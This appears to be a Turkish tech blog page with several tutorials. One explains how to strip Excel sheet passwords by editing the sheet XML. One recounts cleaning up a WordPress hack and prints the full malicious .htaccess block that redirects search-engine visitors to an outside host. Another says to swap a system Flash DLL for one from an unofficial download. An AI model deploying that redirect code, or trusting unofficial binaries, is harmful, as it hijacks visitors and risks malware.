Nasıl yapılır
Excel’de Sayfa Korumalarını Hackleme
3 May
Excel bilindiği üzere en basit tabiri ile her türlü tablolama işlemi yapabildiğimiz bir uygulama aslında bir çok kompleks ve içerisinde bir çok özelliği bulunduran uygulamada aklınıza bile gelemeyecek uygulamalar oluşturabilmek mümkün.
Bugün bir arkadaşımın ihtiyacı olan bir Excel belgesinin bana yollaması ve sayfa korumalarını nasıl açabileceğimizi sorması ile yazmaya karar verdim bu yazının devamında Excel’de şifre ile korunmuş sayfaları nasıl açabileceğinizin cevabını bulacaksınız.
Öncelikle bu işlemleri yapabilmeniz için Bilgisayarınızda kurulu olan Office sürümünün 2007 ya da daha üst sürümü olması gerekmekte. Çünkü 2007 ile gelen yapısal değişilik sayesinde Office dökümanlarımızın içeriği XML olarak saklanmakta. XML de hem okunması hem veri taşınması hem de düzenlenebilirliği açısından kullanıcılara ve sistemlere büyük kolaylıklar sağlamakta. Bu bakımdan eğer Office 2007 öncesi bir süreme sahipseniz aşağıda anlatacağımız yol işinize yaramayacaktır.
- Öncelikle Elimizdeki dosyanın Office 2007 ve ya 2010 formatında yani uzantısının .xlsx olması gerekmekte eğer elinizdeki döküman xls formatında ise Office Excel 2007/2010 ile açarak öncelikle .xlsx olarak kaydediyoruz.
- Sonrasında dökümanımızın uzatntısını .zip olarak el ile değiştiriyoruz. Bunu yapabilmek için öncelikle bilinen dosya formatlarının görüntülenmesi gerekmekte bu ayarı da Bilgisayarımı tıkladıktan sonra Klasör seçeneklerinde Görünüm sekmesinde “Bilinen dosya uzantılarını gizle” onay kutusunun işaretini kaldırmanız gerekiyor. Bu işlemi yaptıktan sonra ise dökümanınızın adını değiştir diyerek sonunda var olan “.xlsx” i “.zip” olarak değiştiriyoruz. Ve artık dökümanımız sıkıştırılmış bir dosya görünümüne kavuşuyor. sadece görünümü değil elbette yapısı da aynı şekilde değişmiş oluyor.
- Şimdi yapacağımız işlem ise bu dizinleri açıp içinde var olan sheet.xml dosyalarının içeriklerini Metin Belgesi ile açmak oluyor. Eğer elinizde Notepad++ ya da Editplus gibi daha gelişmiş bir metin editörü mevcutsa XML içerisindeki verileri daha rahat düzenleyebilirsiniz.
- Şimdi XML olarak sheet1.xml, sheet2.xml şeklinde dökümanımızdaki sayfaların sayısı kadar sheet.xml dosyasıyla karşı karşıyayız Büyük ihtimalle dökümandaki tüm sayfalar korumalı olacağından bu aşamadıki işlemi tüm sheet.xml dosyalarında yapmanız gerekecektir. sheet.xml dosyasını açtığımızda xml kodlarını göreceğiz burada “<sheetProtection password=”CF38″ sheet=”1″ selectLockedCells=”1″/><protectedRanges>” kısımlarını bulup silmemiz gerekiyor.
- Bu işlemi tamamladıktan sonra yine uzantısı .zip olan dosya ile içindekileri değiştirerek sıkıştırılmış dizinimizi elde edeceğiz. Sonrasında ise işleme ilk başladığımız zaman ki gibi dosyamısın uzantısını “.zip”ten “.xlsx” haline getiriyoruz.
Ve böylece artık Excel dökümanımızın koruması kaldırılmış durumda bundan sonra dökümanımızdaki tüm sayfa ve hücrelere istediğiniz işlemi yapmanız mümkün.
“exgocgkctswo” .htaccess Hack ve Kurtulma Yolları
1 May
Evet bir kaç gündür bloguma ulaşmak isteyipte ulaşamayan arkadaşlar farketmiş olacaktır. İlk iki gün 503 hatası alınca server bazlı bir sorun olduğunu düşünerek hosting firmama ticket açtım ve bir süre cevap bekleyerek geçti ki gelen cevapta server konfigrasyonlarında bir sorunun olmadığı tema yada kurulu olan wordpress ile ilgili sorun olduğu konusunda bir geri dönüş olunca zamanın da darlığı ile öncelikle başladım ftp de dolaşmaya.
Birden farkettim ki abartısız her klasörün içinde var olan bir .htaccess dosyası var merak ettim ve içeriğine baktığımda da agent’ları hedef alan ve sonrasında siteyi yoran bir kod bloğuyla karşılaştım.
# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{HTTP_REFERER} ^(http)([^].)(google.yahoo.bing.msn.yandex.ask.excite.altavista.netscape.aol.hotbot.goto.infoseek.mamma.alltheweb.lycos.search.metacrawler.rambler.mail.dogpile.ya.search).$ [NC]
RewriteCond %{HTTP_REFERER} !^.(q=cache).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(bingAccoonaAcesExplorerAmfibiAmigasOSapacheappieAppleSyndication).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(ArchiveArgusAsksJeevesasteriasAtrenkosNewsBeOSBigBlogZoo).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(Biz360BlaizBloglinesBlogPulseBlogSearchBlogsLiveBlogsSayblogWatcher).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(BookmarkbotCE-PreloadCFNetworkcococCombineCrawlcurlDangershiptop).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(DiagnosticsDTAAgentectoEmeraldShieldendoEvaalEverest-Vulcan).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(exactseekFeedFetchfindlinksFreeBSDFriendsterFucksYouGoogle).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(GregariusHatenaScreenshotheritrixHolyCowDudeHonda-SearchHP-UX).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(HTML2JPGHttpClienthttpunitichiroiGetteriPhoneIRIXJakartaJetBrains).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(KrugleLabradorlarbinLeechGetlibwwwLifereaLinkChecker).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(LinknSurfLinuxLiveJournalLonoponoLotus-NotesLycosLynxMac_PowerPC).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(Mac_PPCMacs10MacsOSmacDNMacintoshMediapartnersMegiteMetaProducts).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(MivaMobileNetBSDNetNewsWireNetResearchServerNewsAlloyNewsFire).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(NewsGatorOnlineNewsMacProNokiaNuSearchNutchObjectSearchOctora).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(OmniExplorerOmnipelagosOnetOpenBSDOpenIntelligenceDataoreilly).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(os=MacP900ipanscientperlPlayStationPOE-ComponentPrivacyFinder).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(psycheclonePythonretrieverRojoRSSSBIderScooterSeekerSeriess60).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(SharpReaderSiteBarSlurpSnoopySoapsClientSocialmarksSpheresScout).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(spidersprooseRamblerStrawsubscriberSunOSSurferSyndic8).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(SyntryxTargetYourNewsTechnoratiThunderbirdTwicelerurllibValidator).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(ViennavoyagerW3CWavefirewebcollageWebmasterWebPatrolwgetWins9x).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(Win16Win95Win98Windowss95Windowss98WindowssCEWindowssNTs4).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(WinHTTPWinNT4WordPressWWWeaselwwwsteryacyYahoo).$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.(YandexYetiYouReadMeZhuaxiaZyBorg).$ [NC]
RewriteCond %{HTTP_COOKIE} !^.xccgtswgokoe.$
RewriteCond %{HTTPS} ^off$
RewriteRule ^(.)$ httptrialworld.netcgi-binr.cgip=10003&i=604add41&j=327&m=e8d794e1972216960f0b996ffedc1a32&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME} [R=302,L,CO=xccgtswgokoe1%{HTTP_HOST}100800HttpOnly]
# exgocgkctswo
Bu durumdan kurtulmak için öncelikle ftp’deki dosyalarımın tümünü bilgisayarıma indirdim. içinde yaklaşık 300′e yakın olan .htaccess dosyalarını temizledim bu arada bu noktada dikkat etmek gerekiyor .htaccess kullanan bir eklenti kullanıyor iseniz onuda silme ihtimalinize karşı öncelikle daha önce elinizde sağlam bir şekilde var olan bir yedeğinizin olması sizi olası sorunlardan koruyacaktır. Sonrasında ise wordpress’in kendi root dizinindeki .htaccess’de dahil olmak üzere tümünü kaldırdığınızdan emin iseniz FTP’deki dosyaları silerek bunları tekrar atmalısınız. Bu işlem bittiğinde aşağıdaki resimde de görüldüğü gibi sitenizi ilginç karakterlerle açılıyor görebilirsiniz. Endişelenmeyin.
Bu aşamada aklıma gelen ilk şey acaba wordpress’in dosyalarında da mı bir sıkıntı var diyerek temiz en son sürümü indirip dosyalarını tekrar ftp attım ama nafile. Birden Admin panelindeki Ayarlar menüsünde var olan “Kalıcı bağlantılar” ile .htaccess oluşturmak geldi aklımdan ve sorunda hallolmuş oldu böylece :) Bu arada Kalıcı bağlantılar menüsü altında ayarlarınızı resimdeki gibi yapmanız gerekmektedir.
Böylece bir kaç günlük aranın ardından daha sağlıklı bir şekilde kaldığımız yerden devam ediyoruz.
WordPress’te Feedburner kullanarak kategori RSS’leri nasıl oluşturulur?
6 Eyl
Malumunuz Blog dünyası her geçen gün yeni bir üye kazanmakta. Bu vesile ile bende çorbada tuzum bulunsun diyerekten her bloggerın işine yarayacağını düşündüğüm bu konuyu sizlerle paylaşmak istedim.
Eğer bir blog tutuyor ya da takip ediyorsanız biliyorsunuzdur ki sizin için en önemli şey RSS beslemelerinizdir. Çünkü sosyal ağlarda takibinizi kolaylaştıracak, insanların sizin yazdıklarınızı rahatça her ortamdan ulaşabilmelerini sağlayacak yegane yöntem RSS beslemenizdir.
Bu yazıda Google’ın Feedburner hizmeti ile sunmuş olduğu rss içerik hizmetini kullanarak wordpress üzerindeki kategorilerinizin her biri için nasıl feedburner sayfası (ya da senkronizasyonu) sağlayabileceğinizi anlatmaya çalışacağım.
Öncelikle eğer WordPress sisteminizde permalink ayarlarını kullanmıyorsanız işiniz birazcık zor olacaktır. Çünkü permalink (kalıcı bağlantılar) aktif olmadığında size anlamsız www.siteadresi.com/?p=123 gibi bir link verecektir katergorilerinizin linkleri farklı farklı sayılardan oluşacaktır bu yüzdne öncelikle kalıcı bağlantı ayarlarınızı yapmanızda fayda vardır. Bunu gerçekleştirmek için WordPress admin sayfanızda Ayarlar sekmesinden Kalıcı Bağlantılar kısmını tıklamanız ve resimde görüldüğü gibi ayarlamanızı tavsiye ederim.
Böylece WordPress RSS beslemeleriniz artık kategori linkleriniz gibi anlamlı linklerden oluşmuş oldu. Mesela Blogunuzda Teknoloji kategoriniz mevcut olsun bu durumda www.siteadresiniz.com/kategori/teknoloji şeklinde bir linke sahip olacaktır. Bu kategorinin RSS feed adresine ise www.siteadresiniz.com/kategori/teknoloji/feed linkinden ulaşabilirsiniz. şimdi her kategorimizin rss linkini bu şekilde bulabildiğimize göre artık feedburner ile tek tek kategori oluşturmamız gerekecek tabi ki bu anlattığım kısım siteniz hali hazırda feedburner’a ekli ve wordpress eklentisini http://flagrantdisregard.com/feedburner/ sitesinden indirilip kurulumuş olması gerekmekte.
- Öncelikle eklentiyi aktifleştirmeden önce Kategorilerimizin RSS feed linklerini bir yere not edelim.
- Tüm linklerimizi not ettikten sonra kurulu olan eklentiyi aktişleştirerek ayarlarını aşağıdaki resimdeki gibi yapalım.

- Şimdi feedburner hesabımıza gidip her kategorimiz için yeni bir feed açmamız gerekecek. Bunun için az önce not aldığımız besleme listesini kullanacağız. Kategori linkinizi (ör: http://www.serkancura.com/kategoriler/teknoloji/feed) Aşağıda resimde görüldüğü gibi feedburner hesabınızdaki kutuya yapıştırıp next diyoruz.

- Eğer eklentimiz düzgün bir şekilde çalışıyor ise RSS adresinizi web tarayıcınızın adres çubuğuna yapıştırıp açmaya çalıştığınızda size feedburner adresine yönlendirecektir. Bizde buradaki adresi aşağıdaki resimde olduğu gibi düzenleyerek Next diyoruz.

- Daha sonrada gerekli istatistik seçeneklerimizi seçerek işlemi sonlandırıyoruz.
İşte bu kadar artık her kategoriniz için ayrı bir Feedburner senkronizasyonu sağlamış oluyorsunuz. Umarım işinizi görür. :)
Çift Ekran kullanırken ( İki monitör de ) Tam Ekran video açabilme.
3 Ağu
Çift monitör kullanırken bir ekranı tam ekran yapıp diğer ekranda nasıl çalışılır?
Özellikle tasarım işinde olanlar bilirler: Birden fazla ekran yani çift monitör kullanıyorsanız, tam ekran video açarak çalışmak biraz sıkıntılıdır. Sol taraftaki ekranda ki görüntüyü tam ekran yaptığınızda çalışamazsınız. Sağ taraftaki yani uzatılmış ekranda da tamekran yapamıyorsunuz ta ki birazdan vereceğim dosyayı indirip gerekli işlemleri yapıncaya kadar….
Resimdeki görüntülerde de gözüktüğü üzere; Çift ekran ( çift monitör ) kullanıyorsanız. İş yerinizde çalışırken video veya maç izlemek çok rahat olacaktır.
Nasıl Yapılır?
Öncelikle fix; Opera ya da Firefox’ta çalışıyor. Her iki tarayıcı içinde aşağıda yapmanız gereken işlemleri anlatıyorum.
1 – Öncelikle http://files.myopera.com/d.i.z./files/NPSWF32_20100213.zip adresinde bulunan dosyayı indiriyoruz.
Opera için;
2 – C:\Program Files\Opera\program\plugins >dizininde bulunan NPSWF32.dll dosyasını az önce verdiğim linkteki dosya içinde bulunan NPSWF32.dll ile değiştiriyoruz.
3 – Tarayıcınızı tekrar başlatın ve Videoyu uzatılmış ekranınızda tam ekran yapabilirsiniz.
Firefox için;
2- C:\Windows\system32\Macromed\Flash\ izininde bulunan NPSWF32.dll dosyasını az önce verdiğim linkteki dosya içinde bulunan NPSWF32.dll ile değiştiriyoruz.
3 – Tarayıcınızı tekrar başlatın ve Videoyu uzatılmış ekranınızda tam ekran yapabilirsiniz.
İyi seyirler.
Resimler için Halit Altunterim’e teşekkür ediyorum.: )










